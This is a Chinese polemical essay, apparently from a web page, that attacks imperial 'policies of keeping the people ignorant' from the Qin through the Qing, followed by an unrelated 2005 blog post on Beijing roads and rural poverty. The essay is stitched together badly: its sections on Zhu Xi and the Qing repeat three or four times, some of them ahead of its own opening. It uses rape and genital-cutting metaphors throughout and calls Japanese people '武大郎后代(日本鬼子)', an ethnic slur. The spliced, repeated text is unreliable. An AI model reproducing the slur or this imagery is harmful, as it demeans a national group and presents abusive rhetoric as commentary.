朱熹主张“格物致知,正心诚意”之学,让他遗臭万年的名言是“去人欲,存天
理”。这话听来似乎艰涩,却又语重心长,实则仍是只许州官放火,不许百姓点
灯的翻版。

  在程朱理论的教唆下,一向锐意改革的王安石也因此成了“万世罪人”。这
还是王安石死后一百年的事。王安石“天命不足畏,祖宗不足法,人言不足恤”
的“三不理论”被当作不良学说,这和一千年后中国某个时期的“两个凡是”形
成鲜明的对照,和王安石比,可以看出,中国人思想上的长进并不是绝对与时并
进的。朱熹的“去人欲”、“存天理”实际上就是让咱们的老百姓甘心为奴,甘
心于现存的政治制度,消除异见于无形。大凡异端皆是人欲,统治者的意愿便是
天理,在将程朱理学推上大一统宝座的宋理宗看来,强奸民意就是天理,民意不
被强奸便天理难容了。

  就像是那些非洲的部落里的规矩一样,如果你不割阴,那你就无法加入成年
人的行烈,并为这个部落所不容了。用现在的话来说,朱熹也算是人民的公仆,
却只作着愚民的事。也可以由于其本身的阶级缺陷,脱离了劳苦大众,做出了伤
害劳动人民情感的事。而他也藉着被阉割民众的血,浮到了宋朝正人君子权威的
宝座上去了。正人君子当道,此时的中国人便只能做一个纯粹的人,没有私心杂
念的人,心存天理的人,性冷淡的人,此时的中国,痛苦的呻吟也被皇帝老儿当
作快感的呻吟粉饰着。

  D :从通奸到轮奸

  清政府很快与洋人勾搭成奸,梦里回到战国。

  从强奸民意的愚民到诱奸民意的愚民,一千多年过去了。到清末,一切又发
展到了极致。在《中国通史》中讲到清朝的文字狱时有一段感慨,“大抵一个王
朝,越是处在强盛的时期,政治上越能包容大度,具有较强的自信心。相反,一
个王朝处在日趋衰朽的时刻,越是难以自保,越加偏狂疑忌,强化暴力统治。”
于是愚民政策便一并出笼了,在清朝,这种愚民政策是充满血腥味的,即使是当
年的四书五经,也是要经过消毒处理的。

  康熙曾严厉镇压反清复明思想的传播,雍正朝先后兴起汪景祺、钱名世、查
嗣庭等大狱及吕留良、曾静案,以“文字之过”大兴狱讼与杀头。乾隆时将文字
狱作为治国大计。最后的结果是,仇家告讦,诬告盛行。清官遇讼,冤案丛生。
师友株连,人人自危。这一点很像中国二十世纪六七十年代的文化大革命。乾隆
还干了一件事就是焚书,而且这一烧便是十几年。人们骂八国联军烧了官方的园
林时却很少有人骂朝廷烧民间的书籍。用乾隆的话来说是这些书“大节有亏”、
“不足齿于人类”。

  全毁,抽毁,删改者不计其数。官方的虐政让纸张上的历史变得面目全非。
民众若有所思所想,便是冒着杀人的危险了,草民黔首,非不学无术,而是不能。
如此积贫积弱积愚,中国也只有生灵涂炭的份。于是鬼子们的洋枪洋炮全来了。
当帝国主义的铁蹄踏到中国时,清政府很快与洋人勾搭成奸,一起干着鱼肉百姓、
强奸民意的勾当了。

  再之后便是没完没了的革命,革革命,革革革命,反清政府,反洋人,反资
本家,反帝国主义……

  想来在那时候该有人摇着滚着喊梦里回到唐朝的,但中国并没有因此回到开
元盛世。

  而是进入了新时期的战国时代,国家不幸诗人幸,中国人迎来了肉体上的战
乱与精神上的百花齐放。就这样在兵荒马乱中有了群混沌初开的人,如鲁迅,郁
达夫,茅盾,还有后来的老舍,傅雷,不过他们大多也只是获得了无限哀名罢了,
郁达夫是最惨的,他死在武大郎后代(日本鬼子)的屠刀之下。

  回头又想起董仲舒老古董的话,天地必有阴阳,阳为尊,阴为卑。老百姓看
来只有卑的份了。阳在上,阴在下,老百姓便只有被压迫的份了。要想“黔首安
宁,不用兵革”,老百姓便只有被愚弄的份了。

————————————end——————————————

  被虐奸的性奴痛苦地呻吟着。

  几年前,世界卫生组织曾进行过一次调查,目前至少36个国家1.2 亿的妇女
被割去阴唇。不过,这大多数都发生在非洲的一些国家约定俗成的仪式。事实上,
在肉体上的阉割远不如中国古代文明中的阉割来得漫长。精神与思想上的阉割在
宋朝的中国进入了它的鼎盛时期。国人的欲望与创造力也成了裹脚布里的敲烂的
碎玻璃渣子,稍一动弹便会有十指连心之痛。

  自孔子创立儒学以来,儒学前后有几次大的变化,首先是战国孟轲,之后的
董仲舒,然后便是宋朝的程朱理学。历朝历代的统治者,为了维护自己的统治,
都会有一种大一统的思想,而这种思想似乎只是来自统治阶级,或是民间的思想,
在阉割了真实性与真诚以后的御用。宋朝的理学便是如此。

  几百年后人们将朱熹从坟墓里挖出来对话,不仅是因为他的英名,更是因为
他曾经在中国渊远流长的愚民历史长河中掀起过巨浪。直至今日,仍余波未逝。
朱熹主张“格物致知,正心诚意”之学,让他遗臭万年的名言是“去人欲,存天
理”。这话听来似乎艰涩,却又语重心长,实则仍是只许州官放火,不许百姓点
灯的翻版。

  在程朱理论的教唆下,一向锐意改革的王安石也因此成了“万世罪人”。这
还是王安石死后一百年的事。王安石“天命不足畏,祖宗不足法,人言不足恤”
的“三不理论”被当作不良学说,这和一千年后中国某个时期的“两个凡是”形
成鲜明的对照,和王安石比,可以看出,中国人思想上的长进并不是绝对与时并
进的。朱熹的“去人欲”、“存天理”实际上就是让咱们的老百姓甘心为奴,甘
心于现存的政治制度,消除异见于无形。大凡异端皆是人欲,统治者的意愿便是
天理,在将程朱理学推上大一统宝座的宋理宗看来,强奸民意就是天理,民意不
被强奸便天理难容了。

  就像是那些非洲的部落里的规矩一样,如果你不割阴,那你就无法加入成年
人的行烈,并为这个部落所不容了。用现在的话来说,朱熹也算是人民的公仆,
却只作着愚民的事。也可以由于其本身的阶级缺陷,脱离了劳苦大众,做出了伤
害劳动人民情感的事。而他也藉着被阉割民众的血,浮到了宋朝正人君子权威的
宝座上去了。正人君子当道,此时的中国人便只能做一个纯粹的人,没有私心杂
念的人,心存天理的人,性冷淡的人,此时的中国,痛苦的呻吟也被皇帝老儿当
作快感的呻吟粉饰着。

  D :从通奸到轮奸

  清政府很快与洋人勾搭成奸,梦里回到战国。

  从强奸民意的愚民到诱奸民意的愚民,一千多年过去了。到清末,一切又发
展到了极致。在《中国通史》中讲到清朝的文字狱时有一段感慨,“大抵一个王
朝,越是处在强盛的时期,政治上越能包容大度,具有较强的自信心。相反,一
个王朝处在日趋衰朽的时刻,越是难以自保,越加偏狂疑忌,强化暴力统治。”
于是愚民政策便一并出笼了,在清朝,这种愚民政策是充满血腥味的,即使是当
年的四书五经,也是要经过消毒处理的。

  康熙曾严厉镇压反清复明思想的传播,雍正朝先后兴起汪景祺、钱名世、查
嗣庭等大狱及吕留良、曾静案,以“文字之过”大兴狱讼与杀头。乾隆时将文字
狱作为治国大计。最后的结果是,仇家告讦,诬告盛行。清官遇讼,冤案丛生。
师友株连,人人自危。这一点很像中国二十世纪六七十年代的文化大革命。乾隆
还干了一件事就是焚书,而且这一烧便是十几年。人们骂八国联军烧了官方的园
林时却很少有人骂朝廷烧民间的书籍。用乾隆的话来说是这些书“大节有亏”、
“不足齿于人类”。

  全毁,抽毁,删改者不计其数。官方的虐政让纸张上的历史变得面目全非。
民众若有所思所想,便是冒着杀人的危险了,草民黔首,非不学无术,而是不能。
如此积贫积弱积愚,中国也只有生灵涂炭的份。于是鬼子们的洋枪洋炮全来了。
当帝国主义的铁蹄踏到中国时,清政府很快与洋人勾搭成奸,一起干着鱼肉百姓、
强奸民意的勾当了。

  再之后便是没完没了的革命,革革命,革革革命,反清政府,反洋人,反资
本家,反帝国主义……

  想来在那时候该有人摇着滚着喊梦里回到唐朝的,但中国并没有因此回到开
元盛世。

  而是进入了新时期的战国时代,国家不幸诗人幸,中国人迎来了肉体上的战
乱与精神上的百花齐放。就这样在兵荒马乱中有了群混沌初开的人,如鲁迅,郁
达夫,茅盾,还有后来的老舍,傅雷,不过他们大多也只是获得了无限哀名罢了,
郁达夫是最惨的,他死在武大郎后代(日本鬼子)的屠刀之下。

  回头又想起董仲舒老古董的话,天地必有阴阳,阳为尊,阴为卑。老百姓看
来只有卑的份了。阳在上,阴在下,老百姓便只有被压迫的份了。要想“黔首安
宁,不用兵革”,老百姓便只有被愚弄的份了。

————————————end——————————————

  卷一

  什么是愚民政策

  最早见到愚民两个字,是在中国的教科书上,忘了是什么时候,但写的主要
是国外和古代,从时空论,和现政府现制度是没有干系的,在此亦不作深究。那
么什么是愚民呢?愚者,愚弄也。民者,大众也。愚民即愚弄大众。愚民政策就
是当局为了一己之私,而推出的愚弄人民,使其愚氓无知,闭目塞听的政策。

  A :愚民政策发端秦始皇把民女强奸了

  但还没来得及将她揽在怀里就死了。

  吴晗同志曾在《论贪污》中称整个一部二十四史就是一部贪污史。其实从民
众教化的角度上来说,又何尝不是一部愚民史。愚民政策古已有之,从中国通史
看,发端于一个私生子皇上――秦始皇,虽然私生是偷偷摸摸的份,愚民却是明
目张胆的,秦始皇的确没给中国政治开个好头,焚书坑儒也在历史上以骂名传世,
直至今日,人们仍能闻到其中的血腥味。秦建立中央集权制,那时衣服旌旗均以
黑色为贵,而庶民也以黑布缠头,号称黔首,过上了一阵子,“黔首安宁,不用
兵革”的日子。

  皇帝自称为朕,不过那时皇帝好搞兼职,所以宰相的事他也不并做了(宰相
在现在就是总理的意思)。《中国通史》中的说法是“政事不论大小,全由皇帝
裁决”。

  也许是由于太多的政事缠身,秦始皇并没有将愚民政策推广到登峰造极的地
步。在维护统治方面,秦始皇做的有两件事是较为突出的,一是从独廷尉李斯的
建议,将秦以外的史书全部焚毁,私人所藏儒家经内和诸子书都当干柴烧掉,聚
谈诗书者斩首,理由是“儒生不师今而学古,各尊私学,诽谤朝政,惑乱民心”
(《中国通史卷二19页》)。这就是历史上有名的焚书坑儒事件。不过,这里的
书并非全烧尽了的,医药、占卜及农作物的书不属烧禁之列。始皇心知肚明,民
众虽不可施以教化,但不可不强身健体,所谓思想不可杂草丛生,但田间不可不
繁荣锦秀,而始皇几次出巡,“以示强威,服海内”时也不能不有个风水算卦的
先生跟着,几千年后,人们还喊着“开展体育运动,强健人民体质”便是从那时
起的。作物书虽然几千年没有大的进展,黔首们仍只有面朝黄土北朝天的份,但
农也早已纳入了科学的范畴,为人津津乐道。

  光愚弄其精神,野蛮其体魄是不够的。秦始皇做的另一件大事是造宫室,其
实造宫室,除了收集天下美女外,还搜集天下兵器,将其销毁,然后在阿房宫前
殿,筑成十二个铜人,重各二十四万斤,据称,为防有人携兵器入阿房宫,还设
了磁石。所谓谋事在人,成事在天,天既有眼,独夫难为,之后的事是始皇帝没
有想到了。没有兵器的民众揭竿而起,这就是陈胜吴广领导农民兄弟的起义;没
读过书的项羽刘邦杀进了阿房宫,“项羽入关,烧秦宫室,火三月不息”。

  中国文化和动荡的年代有缘,春秋战国时期也成了中国历史上的光辉岁月,
百花齐放,百家争鸣,其时的诸多学说,开创了中国未来诸多学派的先河,而秦
始皇统一甫定,立刻闻出了百家是异端邪说,要把藏在民间的书付之一炬。焚书
坑儒只是让人无书可看,或索性不看书,所以那时的民众还是不失天性的。和其
后统治者比,秦始皇也只是小儿科,区区阿房宫还不够交学费的。

  如果说民意是个女人,焚书坑儒,实际上也只是光天化日下绑架民女的行径,
虽罪恶,但也只是将她关起来,虽然偶有动手动脚的嫌疑,但主要还是让民女隔
离大千世界,至于民女怎么想的,秦皇老儿并不知晓,由于秦皇忙于日理万机,
劳顿不堪,还没来得及将民女揽在怀里,便在出巡的路上病死。时为前二一零年,
三年后,秦朝灭亡。

  B :汉武帝骑着他的《公羊》开始愚民

  该死的,民女被诱奸了还被蒙在鼓里。

  以史为鉴,照见未来。在推翻秦制后建起来的汉统知道如何总结历史经验,
汉武帝的确是站在前人肩膀上高瞻远瞩的一位。

  前二零六年,集文盲与流氓大成者刘邦夺得天下,建汉,号汉高帝。中国愚
民政策有了进一步发展。据史料载,汉高帝用太牢祭孔子,承认儒学在学术上的
正统地位,但西汉前期,指导政治的学说是黄老刑名之学,阴阳五行次之,儒学
也只有替人打酱油的份。从黄老刑名之术,到《公羊》学的盛行,汉时政治进入
成熟时期。从霸(刑名)王(儒)道,到纯儒学,愚民政策也羽翼渐丰。昔时秦
皇,只知秦家天下,而到汉时,纯儒学的政治主张实际将统阶阶级完全的划分到
一个阶级的份上。纯儒学政治使上下层豪强得到兼并的便利,同时也形成了大一
统的思想,“四海一家”指的就是全世界都是一家子,都听皇帝老儿的。

  汉武帝采用董仲舒的意见,独尊董仲舒与公孙弘的《春秋公羊》,罢黜百家。
西汉前期,为官有三条途径,一是郎官,家有中等财产,自备车马薪水,可进京
做官。

  二是在本郡做官,不限财产。三是由大官老爷征召。而汉武帝在独尊儒术后,
昔日的黔首们也开始官迷心窍,兴高采烈地赶着大好前程去了。这就是那时的孝
廉与茂才制度。儒学与做官结合起来,武帝说,只要你们顺从我的《公羊》,我
就给你们好官做。董仲舒与公孙弘也是深得主子的好处的。当时“古董”成了西
汉今文经学中最大的儒者,而“老公”则做了丞相,封平津候。

  汉武帝牵出他的《春秋公羊》,是因为《春秋》有孔子的名份,是专诛乱臣
贼子的著作,而到了董仲舒的嘴里,便出了阴阳怪调。的确,董仲舒的哲学是《
易经》阴阳学说的引申。董说,凡事有阳就有阴,有上就有下,有顺必有逆,有
昼必有夜。所谓“凡物必有合”、“合各有阴阳”。董的阴阳怪调是,阳性尊,
阴性卑,君、父、夫是三阳(三纲),臣、子、妻则属阴。中国几千的封建糟粕
便是从此开始,君君臣臣父父子子,生出一帮奴才。据其阴阳怪调,引而申之,
有愚必有被愚,有强奸必有被奸。而为了当官,进取向上,有事业心,做新时代
的好青年,就只有皓首穷经的份。据载,武帝后的百年间,因为士人求仕必通儒,
因此没少耗费青春。据称有个研究《书经》的大师秦延君,用十多万字来解释《
尧典》中的两个字,用三万字解释“曰若稽古”四个字。其实这些秦大师,虽然
通了经文,但却也只有当愚氓的份,不过,虽然受苦受累,但也算是白发而立,
事业有成;愚公读经,公而生子,子而生孙,总有一年能把经书读透,彻底体会
经中央的精神。

  汉武帝作为西汉时的领袖,其英明在于他不像秦始皇那样去焚书坑儒,而是
让大家“有书读,读好书”。直到二十一世纪,人们还能见到身穿马褂的人在大
街上点着油灯,彼志不移,令人唏嘘。只是他们仍未明白,因为那点功名利禄而
被诱奸,自己早已成了行尸走肉,却还和《公羊》撒着欢打着滚呢。

C :朱熹挥舞着刀子,把辫子咬在嘴里,表演割阴的艺术

  被虐奸的性奴痛苦地呻吟着。

  几年前,世界卫生组织曾进行过一次调查,目前至少36个国家1.2 亿的妇女
被割去阴唇。不过,这大多数都发生在非洲的一些国家约定俗成的仪式。事实上,
在肉体上的阉割远不如中国古代文明中的阉割来得漫长。精神与思想上的阉割在
宋朝的中国进入了它的鼎盛时期。国人的欲望与创造力也成了裹脚布里的敲烂的
碎玻璃渣子,稍一动弹便会有十指连心之痛。

  自孔子创立儒学以来,儒学前后有几次大的变化,首先是战国孟轲,之后的
董仲舒,然后便是宋朝的程朱理学。历朝历代的统治者,为了维护自己的统治,
都会有一种大一统的思想,而这种思想似乎只是来自统治阶级,或是民间的思想,
在阉割了真实性与真诚以后的御用。宋朝的理学便是如此。

  几百年后人们将朱熹从坟墓里挖出来对话,不仅是因为他的英名,更是因为
他曾经在中国渊远流长的愚民历史长河中掀起过巨浪。直至今日,仍余波未逝。
朱熹主张“格物致知,正心诚意”之学,让他遗臭万年的名言是“去人欲,存天
理”。这话听来似乎艰涩,却又语重心长,实则仍是只许州官放火,不许百姓点
灯的翻版。

  在程朱理论的教唆下,一向锐意改革的王安石也因此成了“万世罪人”。这
还是王安石死后一百年的事。王安石“天命不足畏,祖宗不足法,人言不足恤”
的“三不理论”被当作不良学说,这和一千年后中国某个时期的“两个凡是”形
成鲜明的对照,和王安石比,可以看出,中国人思想上的长进并不是绝对与时并
进的。朱熹的“去人欲”、“存天理”实际上就是让咱们的老百姓甘心为奴,甘
心于现存的政治制度,消除异见于无形。大凡异端皆是人欲,统治者的意愿便是
天理,在将程朱理学推上大一统宝座的宋理宗看来,强奸民意就是天理,民意不
被强奸便天理难容了。

  就像是那些非洲的部落里的规矩一样,如果你不割阴,那你就无法加入成年
人的行烈,并为这个部落所不容了。用现在的话来说,朱熹也算是人民的公仆,
却只作着愚民的事。也可以由于其本身的阶级缺陷,脱离了劳苦大众,做出了伤
害劳动人民情感的事。而他也藉着被阉割民众的血,浮到了宋朝正人君子权威的
宝座上去了。正人君子当道,此时的中国人便只能做一个纯粹的人,没有私心杂
念的人,心存天理的人,性冷淡的人,此时的中国,痛苦的呻吟也被皇帝老儿当
作快感的呻吟粉饰着。

  D :从通奸到轮奸

  清政府很快与洋人勾搭成奸,梦里回到战国。

  从强奸民意的愚民到诱奸民意的愚民,一千多年过去了。到清末,一切又发
展到了极致。在《中国通史》中讲到清朝的文字狱时有一段感慨,“大抵一个王
朝,越是处在强盛的时期,政治上越能包容大度,具有较强的自信心。相反,一
个王朝处在日趋衰朽的时刻,越是难以自保,越加偏狂疑忌,强化暴力统治。”
于是愚民政策便一并出笼了,在清朝,这种愚民政策是充满血腥味的,即使是当
年的四书五经,也是要经过消毒处理的。

  康熙曾严厉镇压反清复明思想的传播,雍正朝先后兴起汪景祺、钱名世、查
嗣庭等大狱及吕留良、曾静案,以“文字之过”大兴狱讼与杀头。乾隆时将文字
狱作为治国大计。最后的结果是,仇家告讦,诬告盛行。清官遇讼,冤案丛生。
师友株连,人人自危。这一点很像中国二十世纪六七十年代的文化大革命。乾隆
还干了一件事就是焚书,而且这一烧便是十几年。人们骂八国联军烧了官方的园
林时却很少有人骂朝廷烧民间的书籍。用乾隆的话来说是这些书“大节有亏”、
“不足齿于人类”。

  全毁,抽毁,删改者不计其数。官方的虐政让纸张上的历史变得面目全非。
民众若有所思所想,便是冒着杀人的危险了,草民黔首,非不学无术,而是不能。
如此积贫积弱积愚,中国也只有生灵涂炭的份。于是鬼子们的洋枪洋炮全来了。
当帝国主义的铁蹄踏到中国时,清政府很快与洋人勾搭成奸,一起干着鱼肉百姓、
强奸民意的勾当了。

  再之后便是没完没了的革命,革革命,革革革命,反清政府,反洋人,反资
本家,反帝国主义……

  想来在那时候该有人摇着滚着喊梦里回到唐朝的,但中国并没有因此回到开
元盛世。

  而是进入了新时期的战国时代,国家不幸诗人幸,中国人迎来了肉体上的战
乱与精神上的百花齐放。就这样在兵荒马乱中有了群混沌初开的人,如鲁迅,郁
达夫,茅盾,还有后来的老舍,傅雷,不过他们大多也只是获得了无限哀名罢了,
郁达夫是最惨的,他死在武大郎后代(日本鬼子)的屠刀之下。

  回头又想起董仲舒老古董的话,天地必有阴阳,阳为尊,阴为卑。老百姓看
来只有卑的份了。阳在上,阴在下,老百姓便只有被压迫的份了。要想“黔首安
宁,不用兵革”,老百姓便只有被愚弄的份了。

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  被虐奸的性奴痛苦地呻吟着。

  几年前,世界卫生组织曾进行过一次调查,目前至少36个国家1.2 亿的妇女
被割去阴唇。不过,这大多数都发生在非洲的一些国家约定俗成的仪式。事实上,
在肉体上的阉割远不如中国古代文明中的阉割来得漫长。精神与思想上的阉割在
宋朝的中国进入了它的鼎盛时期。国人的欲望与创造力也成了裹脚布里的敲烂的
碎玻璃渣子,稍一动弹便会有十指连心之痛。

  自孔子创立儒学以来,儒学前后有几次大的变化,首先是战国孟轲,之后的
董仲舒,然后便是宋朝的程朱理学。历朝历代的统治者,为了维护自己的统治,
都会有一种大一统的思想,而这种思想似乎只是来自统治阶级,或是民间的思想,
在阉割了真实性与真诚以后的御用。宋朝的理学便是如此。

  几百年后人们将朱熹从坟墓里挖出来对话,不仅是因为他的英名,更是因为
他曾经在中国渊远流长的愚民历史长河中掀起过巨浪。直至今日,仍余波未逝。
朱熹主张“格物致知,正心诚意”之学,让他遗臭万年的名言是“去人欲,存天
理”。这话听来似乎艰涩,却又语重心长,实则仍是只许州官放火,不许百姓点
灯的翻版。

  在程朱理论的教唆下,一向锐意改革的王安石也因此成了“万世罪人”。这
还是王安石死后一百年的事。王安石“天命不足畏,祖宗不足法,人言不足恤”
的“三不理论”被当作不良学说,这和一千年后中国某个时期的“两个凡是”形
成鲜明的对照,和王安石比,可以看出,中国人思想上的长进并不是绝对与时并
进的。朱熹的“去人欲”、“存天理”实际上就是让咱们的老百姓甘心为奴,甘
心于现存的政治制度,消除异见于无形。大凡异端皆是人欲,统治者的意愿便是
天理,在将程朱理学推上大一统宝座的宋理宗看来,强奸民意就是天理,民意不
被强奸便天理难容了。

  就像是那些非洲的部落里的规矩一样,如果你不割阴,那你就无法加入成年
人的行烈,并为这个部落所不容了。用现在的话来说,朱熹也算是人民的公仆,
却只作着愚民的事。也可以由于其本身的阶级缺陷,脱离了劳苦大众,做出了伤
害劳动人民情感的事。而他也藉着被阉割民众的血,浮到了宋朝正人君子权威的
宝座上去了。正人君子当道,此时的中国人便只能做一个纯粹的人,没有私心杂
念的人,心存天理的人,性冷淡的人,此时的中国,痛苦的呻吟也被皇帝老儿当
作快感的呻吟粉饰着。

  D :从通奸到轮奸

  清政府很快与洋人勾搭成奸,梦里回到战国。

  从强奸民意的愚民到诱奸民意的愚民,一千多年过去了。到清末,一切又发
展到了极致。在《中国通史》中讲到清朝的文字狱时有一段感慨,“大抵一个王
朝,越是处在强盛的时期,政治上越能包容大度,具有较强的自信心。相反,一
个王朝处在日趋衰朽的时刻,越是难以自保,越加偏狂疑忌,强化暴力统治。”
于是愚民政策便一并出笼了,在清朝,这种愚民政策是充满血腥味的,即使是当
年的四书五经,也是要经过消毒处理的。

  康熙曾严厉镇压反清复明思想的传播,雍正朝先后兴起汪景祺、钱名世、查
嗣庭等大狱及吕留良、曾静案,以“文字之过”大兴狱讼与杀头。乾隆时将文字
狱作为治国大计。最后的结果是,仇家告讦,诬告盛行。清官遇讼,冤案丛生。
师友株连,人人自危。这一点很像中国二十世纪六七十年代的文化大革命。乾隆
还干了一件事就是焚书,而且这一烧便是十几年。人们骂八国联军烧了官方的园
林时却很少有人骂朝廷烧民间的书籍。用乾隆的话来说是这些书“大节有亏”、
“不足齿于人类”。

  全毁,抽毁,删改者不计其数。官方的虐政让纸张上的历史变得面目全非。
民众若有所思所想,便是冒着杀人的危险了,草民黔首,非不学无术,而是不能。
如此积贫积弱积愚,中国也只有生灵涂炭的份。于是鬼子们的洋枪洋炮全来了。
当帝国主义的铁蹄踏到中国时,清政府很快与洋人勾搭成奸,一起干着鱼肉百姓、
强奸民意的勾当了。

  再之后便是没完没了的革命,革革命,革革革命,反清政府,反洋人,反资
本家,反帝国主义……

  想来在那时候该有人摇着滚着喊梦里回到唐朝的,但中国并没有因此回到开
元盛世。

  而是进入了新时期的战国时代,国家不幸诗人幸,中国人迎来了肉体上的战
乱与精神上的百花齐放。就这样在兵荒马乱中有了群混沌初开的人,如鲁迅,郁
达夫,茅盾,还有后来的老舍,傅雷,不过他们大多也只是获得了无限哀名罢了,
郁达夫是最惨的,他死在武大郎后代(日本鬼子)的屠刀之下。

  回头又想起董仲舒老古董的话,天地必有阴阳,阳为尊,阴为卑。老百姓看
来只有卑的份了。阳在上,阴在下,老百姓便只有被压迫的份了。要想“黔首安
宁,不用兵革”,老百姓便只有被愚弄的份了。

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2005年05月16日

  山东人看北京的车和路

  多年没有到北京去了,五一期间,自驾游到内蒙,在北京转了一个遍,有许多感受。
  北京,号称中国第一堵,车的保有量太大,这是不含糊的,但是,北京人开车、北京人走路,还是比较文明有序的,因此惊险并不多。相比起我们这里,油田的司机天不怕地不怕,不论你什么交法不怕你什么警察,很大不同。
  北京不仅路口有红绿灯,就是栏杆,隔一段也有供行人穿越的红绿灯,好象行人可以手控,没有看仔细,没有行人的时候它也会亮,大家都规矩地等,而并无什么摄象探头之类,这一点让俺们佩服。俺们山东没这个,就是路口的红绿灯,闯的人也很多,尤其是没车不妨碍别人的时候。
  北京大概是重修路成本太高,因此马路都是就是加铺,越铺越厚,下水和电缆的井盖就深深地陷下去,形成危险,这一点与山东大不同,山东的路隔几年就挖掉重来,井盖子仍然与路平齐。
  北京虽然盖了许多高楼,建了许多立交桥,但那是主要路段,非主要的地方,贫困得厉害,路窄车多,遍地垃圾,绿化什么的更谈不上,这一点也与山东城市不同。山东城市,中心地带与边缘地带差别也有,没有北京这么大,相对来讲进步比较平衡。而且往往是反过来,边缘地带、城乡结合部,更绿化、建设得好。
  北京虽然机动车多,但是也分时限,北京人大概比较懒惰,没有早起的,早上七点之前,马路上非常好走,没有什么车辆和行人,空空的,这也与山东不同。山东人太勤奋,每天早五点汽车就来回穿梭。

  说完车和路,顺便说点其它的。

  假日期间,北京的外地人太多。然而,要购物,北京却不是理想的地方。西单、王府井仍然是集中的地方,但外地人多是只逛不买,因为没有多少可买的。往日廉价货的主要市场大栅栏已经变样,整顿以后,摊贩大大减少,但仍然值得一逛。抛开外地人,北京的超市、商场比山东城市少多了,很大一个区域内没有大中型的商业中心。这只能说明,北京人虽然有钱人太多,但是贫富差别太大,多数的北京人购买力并不强。
  北京曾经是以小吃著名的城市,但是现在基本上已经绝迹,只有到王府井才容易找到炸酱面、爆肚之类的,但非常贵,是作为文物来卖的。其它地方除了饭馆,就是外地的小吃,比如米线、拉面一类。这与山东也差不多,但是山东本来就没有什么小吃。
  北京还有一个变化,就是早点很难找,早上很难找到地方吃点东西,从前不是这样的。

  北京郊区的农民,其贫困超出想象。以八里庄这个城中村为例,就可怜得很,不如山东中下等农村,甚至不如沂蒙山的农村。也许是等着拆迁,不再改造翻新了,但是,密云县“桃源仙谷”的那个村子,有旅游和水果收入,其贫困程度仍然远远超过沂蒙山区的山村,每户农民的总收入不过万把元,老一点的农民穿着很劣质很过时的衣服,布质都起毛,只是没有见过打补丁的罢了。这种打扮在山东早已绝迹,就是鲁西南也找不到这样穿着的。其房屋更是陈旧得很,博山焦裕录的故乡,自然条件算是相当恶劣的了,农民的房子也过得去,全部都是20年以内盖的。